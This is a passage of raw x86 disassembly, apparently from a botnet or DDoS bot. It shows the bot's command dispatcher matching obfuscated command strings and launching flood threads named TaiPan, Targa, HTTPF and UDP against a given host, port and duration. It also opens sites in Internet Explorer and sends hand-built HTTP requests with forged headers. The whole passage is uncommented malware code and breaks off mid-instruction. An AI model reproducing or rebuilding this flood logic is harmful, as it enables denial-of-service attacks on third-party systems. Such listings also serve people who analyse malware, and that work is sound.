sub_403B2C+59F5j mov eax, [ebp+arg_14] mov [ebp+var_96C], eax mov eax, [ebp+arg_18] mov [ebp+var_970], eax cmp eax, ebx lea eax, [ebp+var_A00] jnz short loc_409587 push dword ptr [edi+0Ch] jmp short loc_409589 ; --------------------------------------------------------------------------- loc_409587: ; CODE XREF: sub_403B2C+5A54j push dword ptr [edi] loc_409589: ; CODE XREF: sub_403B2C+5A59j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_A84], eax push dword ptr [esi+4] lea eax, [ebp+var_A80] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_97C], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_978], eax push dword ptr [esi+10h] call sub_422B5A add esp, 18h cmp eax, 1 mov [ebp+var_974], eax mov ebx, offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI." jl loc_409A6E xor eax, eax xor ecx, ecx cmp [ebp+arg_60], eax setnz cl cmp [ebp+arg_14], eax mov [ebp+var_968], ecx jnz short loc_40962A cmp [ebp+arg_18], eax jnz short loc_409630 push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's" push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_40962A: ; CODE XREF: sub_403B2C+5ACCj cmp [ebp+arg_18], 0 jz short loc_40965A loc_409630: ; CODE XREF: sub_403B2C+5AD1j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's" push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_40965A: ; CODE XREF: sub_403B2C+5B02j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSForDSecS ; "%s --> (%s) for %d sec's" push 14h call sub_41BED7 add esp, 18h mov [ebp+var_980], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_A84] push esi push eax push offset sub_41B824 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_980] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_408CE9 jmp short loc_4096C6 ; --------------------------------------------------------------------------- loc_4096BE: ; CODE XREF: sub_403B2C+5BA1j push 32h call dword_42F15C ; Sleep loc_4096C6: ; CODE XREF: sub_403B2C+5B90j cmp [ebp+var_964], 0 jz short loc_4096BE jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_4096D4: ; CODE XREF: sub_403B2C+59C6j ; sub_403B2C+59CFj ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aXtyre1_rjar_xf ; "XtyrE1.RJaR.xfK1r.VuQwI." jmp loc_407722 ; --------------------------------------------------------------------------- loc_4096E3: ; CODE XREF: sub_403B2C+59BBj push dword ptr [esi] push offset a6ldraK4kds ; "6ldRA/K4kDS/" call ebx ; dword_42F070 test eax, eax jnz short loc_4096FC push offset aTaipan ; "TaiPan" push 14h jmp loc_409B7C ; --------------------------------------------------------------------------- loc_4096FC: ; CODE XREF: sub_403B2C+5BC2j push dword ptr [esi] push offset aX_62c_3ldcp ; "X.62C.3LDCP/" call ebx ; dword_42F070 test eax, eax jnz loc_409921 xor ebx, ebx cmp [esi+4], ebx jz loc_409912 cmp [esi+8], ebx jz loc_409912 cmp [esi+0Ch], ebx jz loc_409912 cmp [esi+10h], ebx jz loc_409912 push 15h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_409786 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1" jnz short loc_40976F cmp [ebp+arg_18], 0 jnz short loc_409779 push eax push offset aTargaThreads ; "Targa Threads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40976F: ; CODE XREF: sub_403B2C+5C25j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_409779: ; CODE XREF: sub_403B2C+5C2Bj push [ebp+arg_C] push offset aTargaThreads ; "Targa Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_409786: ; CODE XREF: sub_403B2C+5C15j mov eax, [ebp+arg_14] mov [ebp+var_153C], eax mov eax, [ebp+arg_18] mov [ebp+var_1540], eax cmp eax, ebx lea eax, [ebp+var_15D4] jnz short loc_4097A7 push dword ptr [edi+0Ch] jmp short loc_4097A9 ; --------------------------------------------------------------------------- loc_4097A7: ; CODE XREF: sub_403B2C+5C74j push dword ptr [edi] loc_4097A9: ; CODE XREF: sub_403B2C+5C79j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_16D8], eax push dword ptr [esi+4] lea eax, [ebp+var_16D4] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_1550], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_154C], eax push dword ptr [esi+10h] call sub_422B5A add esp, 18h cmp eax, 1 mov [ebp+var_1548], eax mov ebx, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1" jl loc_409A6E xor eax, eax xor ecx, ecx cmp [ebp+arg_60], eax setnz cl cmp [ebp+arg_14], eax mov [ebp+var_1538], ecx jnz short loc_409854 cmp [ebp+arg_18], eax jnz short loc_40985A push dword ptr [esi+10h] call sub_422B5A pop ecx push eax push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecSWit ; "%s --> (%s:%d) for %d sec's with %d del"... push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 20h loc_409854: ; CODE XREF: sub_403B2C+5CECj cmp [ebp+arg_18], 0 jz short loc_40988E loc_40985A: ; CODE XREF: sub_403B2C+5CF1j push dword ptr [esi+10h] call sub_422B5A pop ecx push eax push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecSWit ; "%s --> (%s:%d) for %d sec's with %d del"... push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 20h loc_40988E: ; CODE XREF: sub_403B2C+5D2Cj push dword ptr [esi+10h] call sub_422B5A pop ecx push eax push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDForDSecSWit ; "%s --> (%s:%d) for %d sec's with %d del"... push 15h call sub_41BED7 add esp, 1Ch mov [ebp+var_1554], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_16D8] push esi push eax push offset sub_41BB8F push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_1554] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_408CE9 jmp short loc_409904 ; --------------------------------------------------------------------------- loc_4098FC: ; CODE XREF: sub_403B2C+5DDFj push 32h call dword_42F15C ; Sleep loc_409904: ; CODE XREF: sub_403B2C+5DCEj cmp [ebp+var_1534], 0 jz short loc_4098FC jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_409912: ; CODE XREF: sub_403B2C+5BE6j ; sub_403B2C+5BEFj ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aZshqz13bz2w1 ; "ZsHqZ13bZ2w1" jmp loc_407722 ; --------------------------------------------------------------------------- loc_409921: ; CODE XREF: sub_403B2C+5BDBj push dword ptr [esi] push offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V." call ebx ; dword_42F070 test eax, eax jnz short loc_40993A push offset aTarga ; "Targa" push 15h jmp loc_409B7C ; --------------------------------------------------------------------------- loc_40993A: ; CODE XREF: sub_403B2C+5E00j push dword ptr [esi] push offset aEm42x_1iszi1 ; "Em42x.1IsZI1" call ebx ; dword_42F070 test eax, eax jnz loc_409B68 xor ebx, ebx cmp [esi+4], ebx jz loc_409B59 cmp [esi+8], ebx jz loc_409B59 cmp [esi+0Ch], ebx jz loc_409B59 cmp [esi+10h], ebx jz loc_409B59 cmp [esi+14h], ebx jz loc_409B59 push 16h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_4099CD cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0" jnz short loc_4099B6 cmp [ebp+arg_18], 0 jnz short loc_4099C0 push eax push offset aHttpfThreads ; "HTTPF Threads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_4099B6: ; CODE XREF: sub_403B2C+5E6Cj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_4099C0: ; CODE XREF: sub_403B2C+5E72j push [ebp+arg_C] push offset aHttpfThreads ; "HTTPF Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_4099CD: ; CODE XREF: sub_403B2C+5E5Cj mov eax, [ebp+arg_14] mov [ebp+var_47F4], eax mov eax, [ebp+arg_18] mov [ebp+var_47F8], eax cmp eax, ebx lea eax, [ebp+var_4890] jnz short loc_4099EE push dword ptr [edi+0Ch] jmp short loc_4099F0 ; --------------------------------------------------------------------------- loc_4099EE: ; CODE XREF: sub_403B2C+5EBBj push dword ptr [edi] loc_4099F0: ; CODE XREF: sub_403B2C+5EC0j push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] mov ebx, 3FFh push ebx mov [ebp+var_5094], eax push dword ptr [esi+4] lea eax, [ebp+var_5090] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_480C], eax push dword ptr [esi+0Ch] call sub_422B5A mov [ebp+var_4808], eax push dword ptr [esi+10h] call sub_422B5A push ebx mov [ebp+var_4800], eax push dword ptr [esi+14h] lea eax, [ebp+var_4C90] push eax call sub_4222F0 xor eax, eax add esp, 24h cmp [ebp+arg_68], eax mov ebx, offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0" setnz al cmp [ebp+var_4800], 1 mov [ebp+var_47FC], eax jge short loc_409A78 loc_409A6E: ; CODE XREF: sub_403B2C+5AB3j ; sub_403B2C+5CD3j mov esi, offset aSNoDelay_ ; "%s No delay." jmp loc_407722 ; --------------------------------------------------------------------------- loc_409A78: ; CODE XREF: sub_403B2C+5F40j cmp [ebp+arg_14], 0 jnz short loc_409AAF cmp [ebp+arg_18], 0 jnz short loc_409AB5 push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 1Ch loc_409AAF: ; CODE XREF: sub_403B2C+5F50j cmp [ebp+arg_18], 0 jz short loc_409ADF loc_409AB5: ; CODE XREF: sub_403B2C+5F56j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 1Ch loc_409ADF: ; CODE XREF: sub_403B2C+5F87j push dword ptr [esi+0Ch] call sub_422B5A pop ecx push eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax push dword ptr [esi+4] push ebx push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets." push 16h call sub_41BED7 add esp, 18h mov [ebp+var_4810], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_5094] push esi push eax push offset loc_40DF88 push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_4810] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_408CE9 jmp short loc_409B4B ; --------------------------------------------------------------------------- loc_409B43: ; CODE XREF: sub_403B2C+6026j push 32h call dword_42F15C ; Sleep loc_409B4B: ; CODE XREF: sub_403B2C+6015j cmp [ebp+var_47F0], 0 jz short loc_409B43 jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_409B59: ; CODE XREF: sub_403B2C+5E24j ; sub_403B2C+5E2Dj ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset aJjc1c1nn0bl0ty ; "JJc1c1nn0bL0TY84s/myQpz0" jmp loc_407722 ; --------------------------------------------------------------------------- loc_409B68: ; CODE XREF: sub_403B2C+5E19j push dword ptr [esi] push offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1" call ebx ; dword_42F070 test eax, eax jnz short loc_409B91 push offset aHttpf ; "HTTPF" push 16h loc_409B7C: ; CODE XREF: sub_403B2C+D52j ; sub_403B2C+139Ej ... xor eax, eax cmp [ebp+arg_18], eax push eax push [ebp+arg_20] jnz loc_404883 push eax jmp loc_40A15D ; --------------------------------------------------------------------------- loc_409B91: ; CODE XREF: sub_403B2C+6047j push dword ptr [esi] push offset aN3saa1expwu1 ; "n3sAa1exPWU1" call ebx ; dword_42F070 test eax, eax jnz loc_409DFE xor ebx, ebx cmp [esi+4], ebx jz loc_409DEF cmp [esi+8], ebx jz loc_409DEF cmp [esi+0Ch], ebx jz loc_409DEF cmp [esi+10h], ebx jz loc_409DEF push 17h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_409C1B cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0" jnz short loc_409C04 cmp [ebp+arg_18], 0 jnz short loc_409C0E push eax push offset aUdpThreads ; "UDP Threads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_409C04: ; CODE XREF: sub_403B2C+60BAj cmp [ebp+arg_18], 0 jz loc_40AF54 loc_409C0E: ; CODE XREF: sub_403B2C+60C0j push [ebp+arg_C] push offset aUdpThreads ; "UDP Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_409C1B: ; CODE XREF: sub_403B2C+60AAj mov eax, [ebp+arg_14] mov ecx, [ebp+arg_20] mov [ebp+var_27C], eax mov eax, [ebp+arg_18] mov [ebp+var_284], eax cmp eax, ebx mov [ebp+var_280], ecx lea eax, [ebp+var_398] jnz short loc_409C45 push dword ptr [edi+0Ch] jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C45: ; CODE XREF: sub_403B2C+6112j push dword ptr [edi] loc_409C47: ; CODE XREF: sub_403B2C+6117j push eax call dword_42F04C ; lstrcpyA push 7Fh lea eax, [ebp+var_318] push dword ptr [esi+4] push eax call sub_4222F0 push dword ptr [esi+8] call sub_422B5A mov [ebp+var_298], eax push dword ptr [esi+0Ch] call sub_422B5A add esp, 14h cmp eax, ebx mov [ebp+var_294], eax jnz short loc_409C99 push 2000h push 400h call sub_41409E pop ecx mov [ebp+var_294], eax pop ecx loc_409C99: ; CODE XREF: sub_403B2C+6154j push dword ptr [esi+10h] call sub_422B5A cmp eax, ebx pop ecx mov [ebp+var_290], eax jnz short loc_409CB6 mov [ebp+var_290], 0Ah loc_409CB6: ; CODE XREF: sub_403B2C+617Ej mov esi, [esi+14h] cmp esi, ebx jz short loc_409CCC push esi call sub_422B5A pop ecx mov [ebp+var_28C], eax jmp short loc_409CD2 ; --------------------------------------------------------------------------- loc_409CCC: ; CODE XREF: sub_403B2C+618Fj mov [ebp+var_28C], ebx loc_409CD2: ; CODE XREF: sub_403B2C+619Ej mov eax, [ebp+arg_10] mov ebx, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0" mov [ebp+var_39C], eax lea eax, [ebp+var_318] push eax push ebx push offset aSS_0 ; "%s %s" push 17h call sub_41BED7 add esp, 10h mov [ebp+var_288], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_39C] push esi push eax push offset sub_41EA1B push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_288] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jnz short loc_409D74 cmp [ebp+arg_14], esi jnz short loc_409D52 cmp [ebp+arg_18], esi jnz short loc_409D5B call dword_42F068 ; RtlGetLastWin32Error push eax push offset aSFailedToSta_3 ; "%s Failed to start thread,error: <%d>." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_409D52: ; CODE XREF: sub_403B2C+6205j ; sub_403B2C+62BEj cmp [ebp+arg_18], esi jz loc_40AF54 loc_409D5B: ; CODE XREF: sub_403B2C+620Aj call dword_42F068 ; RtlGetLastWin32Error push eax push offset aSFailedToSta_3 ; "%s Failed to start thread,error: <%d>." jmp loc_40ADA1 ; --------------------------------------------------------------------------- loc_409D6C: ; CODE XREF: sub_403B2C+624Ej push 32h call dword_42F15C ; Sleep loc_409D74: ; CODE XREF: sub_403B2C+6200j cmp [ebp+var_274], esi jz short loc_409D6C cmp [ebp+arg_14], 0 mov esi, offset aSSendingDToSPa ; "%s Sending %d to: %s, Packet size: %d, "... jnz short loc_409DB6 cmp [ebp+arg_18], 0 jnz short loc_409DC0 push [ebp+var_290] lea eax, [ebp+var_318] push [ebp+var_294] push eax push [ebp+var_298] push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 20h loc_409DB6: ; CODE XREF: sub_403B2C+6259j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_409DC0: ; CODE XREF: sub_403B2C+625Fj push [ebp+var_290] lea eax, [ebp+var_318] push [ebp+var_294] push eax push [ebp+var_298] push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 20h xor esi, esi jmp loc_409D52 ; --------------------------------------------------------------------------- loc_409DEF: ; CODE XREF: sub_403B2C+607Bj ; sub_403B2C+6084j ... mov esi, offset aSMissingParamS ; "%s Missing param(s)" mov ebx, offset a75bqq0i7ucw0 ; "75bQQ0i7ucW0" jmp loc_407722 ; --------------------------------------------------------------------------- loc_409DFE: ; CODE XREF: sub_403B2C+6070j push dword ptr [esi] push offset aBurnP75wk ; "/BURN/P75Wk/" call ebx ; dword_42F070 test eax, eax jnz short loc_409E17 push offset off_434CCC push 17h jmp loc_40A155 ; --------------------------------------------------------------------------- loc_409E17: ; CODE XREF: sub_403B2C+62DDj push dword ptr [esi] push offset aXxulc08o9rf0 ; "Xxulc08O9rf0" call ebx ; dword_42F070 test eax, eax jnz loc_409FB3 mov esi, offset aStopped_ ; "Stopped." xor ebx, ebx cmp [ebp+arg_18], ebx push esi push 11h push ebx push [ebp+arg_20] jnz loc_409EF1 push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_41C090 push esi push 17h push ebx push [ebp+arg_20] push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_41C090 add esp, 40h push esi push 12h push ebx push [ebp+arg_20] push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_41C090 push esi push 13h push ebx push [ebp+arg_20] push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_41C090 add esp, 40h push esi push 14h push ebx push [ebp+arg_20] push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_41C090 push esi push 15h push ebx push [ebp+arg_20] push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_41C090 add esp, 40h push esi push 16h push ebx push [ebp+arg_20] push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] call sub_41C090 push esi push 18h push ebx push [ebp+arg_20] push ebx push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] jmp loc_409FA6 ; --------------------------------------------------------------------------- loc_409EF1: ; CODE XREF: sub_403B2C+630Dj push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] call sub_41C090 push esi push 17h push ebx push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] call sub_41C090 add esp, 40h push esi push 12h push ebx push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] call sub_41C090 push esi push 13h push ebx push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] call sub_41C090 add esp, 40h push esi push 14h push ebx push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] call sub_41C090 push esi push 15h push ebx push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] call sub_41C090 add esp, 40h push esi push 16h push ebx push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] call sub_41C090 push esi push 18h push ebx push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi] loc_409FA6: ; CODE XREF: sub_403B2C+63C0j call sub_41C090 add esp, 40h jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_409FB3: ; CODE XREF: sub_403B2C+62F6j push dword ptr [esi] push offset aKmdie1uwntq ; "KmdIe1UwntQ/" call ebx ; dword_42F070 test eax, eax jnz loc_40A141 cmp [esi+4], eax jnz short loc_409FE4 mov ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" loc_409FCE: ; CODE XREF: sub_403B2C+16C0j ; sub_403B2C+3AEFj cmp [ebp+arg_14], eax mov esi, offset aSMissingParamS ; "%s Missing param(s)" jnz loc_407742 cmp [ebp+arg_18], eax jmp loc_40772C ; --------------------------------------------------------------------------- loc_409FE4: ; CODE XREF: sub_403B2C+649Bj push 18h call sub_41C254 cmp eax, 0Ah pop ecx mov [ebp+arg_C], eax jle short loc_40A037 cmp [ebp+arg_14], 0 mov esi, offset aSSAlreadyRunni ; "%s %s Already running at thread number:"... mov ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" jnz short loc_40A020 cmp [ebp+arg_18], 0 jnz short loc_40A02A push eax push offset aVisitthreads ; "VisitThreads" push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 18h loc_40A020: ; CODE XREF: sub_403B2C+64D6j cmp [ebp+arg_18], 0 jz loc_40AF54 loc_40A02A: ; CODE XREF: sub_403B2C+64DCj push [ebp+arg_C] push offset aVisitThreads ; "Visit Threads" jmp loc_40AF45 ; --------------------------------------------------------------------------- loc_40A037: ; CODE XREF: sub_403B2C+64C6j mov eax, [ebp+arg_14] mov [ebp+var_1998], eax mov eax, [ebp+arg_18] mov [ebp+var_1994], eax test eax, eax lea eax, [ebp+var_1A1C] jnz short loc_40A058 push dword ptr [edi+0Ch] jmp short loc_40A05A ; --------------------------------------------------------------------------- loc_40A058: ; CODE XREF: sub_403B2C+6525j push dword ptr [edi] loc_40A05A: ; CODE XREF: sub_403B2C+652Aj push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1B24], eax push dword ptr [esi+4] lea eax, [ebp+var_1B1C] push eax call sub_4222F0 mov eax, [esi+8] add esp, 0Ch test eax, eax jz short loc_40A097 push 7Fh push eax lea eax, [ebp+var_1A9C] push eax call sub_4222F0 add esp, 0Ch loc_40A097: ; CODE XREF: sub_403B2C+6557j cmp [ebp+arg_14], 0 mov ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" jnz short loc_40A0BF cmp [ebp+arg_18], 0 jnz short loc_40A0C5 push dword ptr [esi+4] push ebx push offset aSS__0 ; "%s --> (%s)." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 14h loc_40A0BF: ; CODE XREF: sub_403B2C+6574j cmp [ebp+arg_18], 0 jz short loc_40A0DB loc_40A0C5: ; CODE XREF: sub_403B2C+657Aj push dword ptr [esi+4] push ebx push offset aSS__0 ; "%s --> (%s)." push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 14h loc_40A0DB: ; CODE XREF: sub_403B2C+6597j push dword ptr [esi+4] push ebx push offset aSS__0 ; "%s --> (%s)." push 18h call sub_41BED7 add esp, 10h mov [ebp+var_199C], eax lea eax, [ebp+arg_6C] xor esi, esi push eax lea eax, [ebp+var_1B24] push esi push eax push offset sub_42042B push esi push esi call dword_42F158 ; CreateThread mov ecx, [ebp+var_199C] imul ecx, 1018h cmp eax, esi mov dword_46D414[ecx], eax jz loc_408CE9 jmp short loc_40A133 ; --------------------------------------------------------------------------- loc_40A12B: ; CODE XREF: sub_403B2C+660Ej push 32h call dword_42F15C ; Sleep loc_40A133: ; CODE XREF: sub_403B2C+65FDj cmp [ebp+var_198C], 0 jz short loc_40A12B jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40A141: ; CODE XREF: sub_403B2C+6492j push dword ptr [esi] push offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1" call ebx ; dword_42F070 test eax, eax jnz short loc_40A173 push offset aVisit ; "Visit" push 18h loc_40A155: ; CODE XREF: sub_403B2C+59ABj ; sub_403B2C+62E6j push 0 push [ebp+arg_20] push [ebp+arg_18] loc_40A15D: ; CODE XREF: sub_403B2C+6060j push [ebp+arg_14] push [ebp+arg_10] push dword ptr [edi+0Ch] loc_40A166: ; CODE XREF: sub_403B2C+75j ; sub_403B2C+85j ... call sub_41C090 loc_40A16B: ; CODE XREF: sub_403B2C+446j ; sub_403B2C+4F39j add esp, 20h jmp loc_40AF54 ; --------------------------------------------------------------------------- loc_40A173: ; CODE XREF: sub_403B2C+6620j push dword ptr [esi] push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d." call ebx ; dword_42F070 test eax, eax jnz loc_40A213 mov eax, [esi+4] test eax, eax jz loc_40A3FE xor esi, esi push esi push esi push eax push offset aIexplore ; "iexplore" push offset aOpen ; "open" push esi call dword_42F23C test eax, eax mov ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" jz short loc_40A1E6 cmp [ebp+arg_14], 0 mov esi, offset aSSiteOpened_ ; "%s Site opened." jnz short loc_40A1C9 push ebx push esi push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_40A1C9: ; CODE XREF: sub_403B2C+668Bj cmp [ebp+arg_18], 0 jz loc_404808 push ebx push esi push dword ptr [edi] push [ebp+arg_10] call sub_410491 add esp, 10h xor esi, esi jmp short loc_40A1FF ; --------------------------------------------------------------------------- loc_40A1E6: ; CODE XREF: sub_403B2C+6680j cmp [ebp+arg_14], esi jnz short loc_40A1FF push ebx push offset aSSiteFailedToO ; "%s Site failed to open." push dword ptr [edi+0Ch] push [ebp+arg_10] call sub_4104F6 add esp, 10h loc_40A1FF: ; CODE XREF: sub_403B2C+66B8j ; sub_403B2C+66BDj cmp [ebp+arg_18], esi jz loc_404808 push ebx push offset aSSiteFailedToO ; "%s Site failed to open." jmp loc_40484D ; --------------------------------------------------------------------------- loc_40A213: ; CODE XREF: sub_403B2C+6652j push dword ptr [esi] push offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1" call ebx ; dword_42F070 test eax, eax jnz short loc_40A234 push eax push offset aIexplore_exe ; "iexplore.exe" call sub_418614 pop ecx mov esi, offset aSStopped_ ; "%s Stopped." pop ecx jmp short loc_40A28F ; --------------------------------------------------------------------------- loc_40A234: ; CODE XREF: sub_403B2C+66F2j push dword ptr [esi] push offset aX4cty1aeqwx ; "X4Cty1aEQwX/" call ebx ; dword_42F070 test eax, eax jnz loc_404808 cmp [esi+4], eax jz loc_40A3FE cmp [esi+8], eax jz loc_40A3FE cmp [esi+0Ch], eax jz loc_40A3FE cmp [esi+10h], eax jz loc_40A3FE lea eax, [ebp+var_5CAC] push eax push 101h call dword_42F290 ; WSAStartup push dword ptr [esi+4] call dword_42F274 ; gethostbyname mov ebx, eax test ebx, ebx jnz short loc_40A2A3 mov esi, offset aSSocketError_ ; "%s Socket Error." loc_40A28F: ; CODE XREF: sub_403B2C+6706j cmp [ebp+arg_14], 0 mov ebx, offset aCwje81zpyq1_ty ; "CWje81ZpYQ1.TY84s/myQpz0" jnz loc_407742 jmp loc_407732 ; --------------------------------------------------------------------------- loc_40A2A3: ; CODE XREF: sub_403B2C+675Cj push 6 push 1 push 2 call dword_42F29C ; socket mov [ebp+arg_C], eax mov [ebp+var_16C], 2 mov eax, [ebx+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_168], eax push dword ptr [esi+8] call sub_422B5A pop ecx push eax call dword_42F2B8 ; ntohs mov [ebp+var_16A], ax lea eax, [ebp+var_16C] push 10h push eax push [ebp+arg_C] call dword_42F294 ; connect cmp eax, 0FFFFFFFFh jz short loc_40A35C push dword ptr [esi+4] lea eax, [ebp+var_42E0] push dword ptr [esi+14h] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\r\nReferer: %s\r\nUser-Agent"... push 100h push eax call sub_42219B add esp, 1Ch xor ebx, ebx lea eax, [ebp+var_42E0] push ebx push 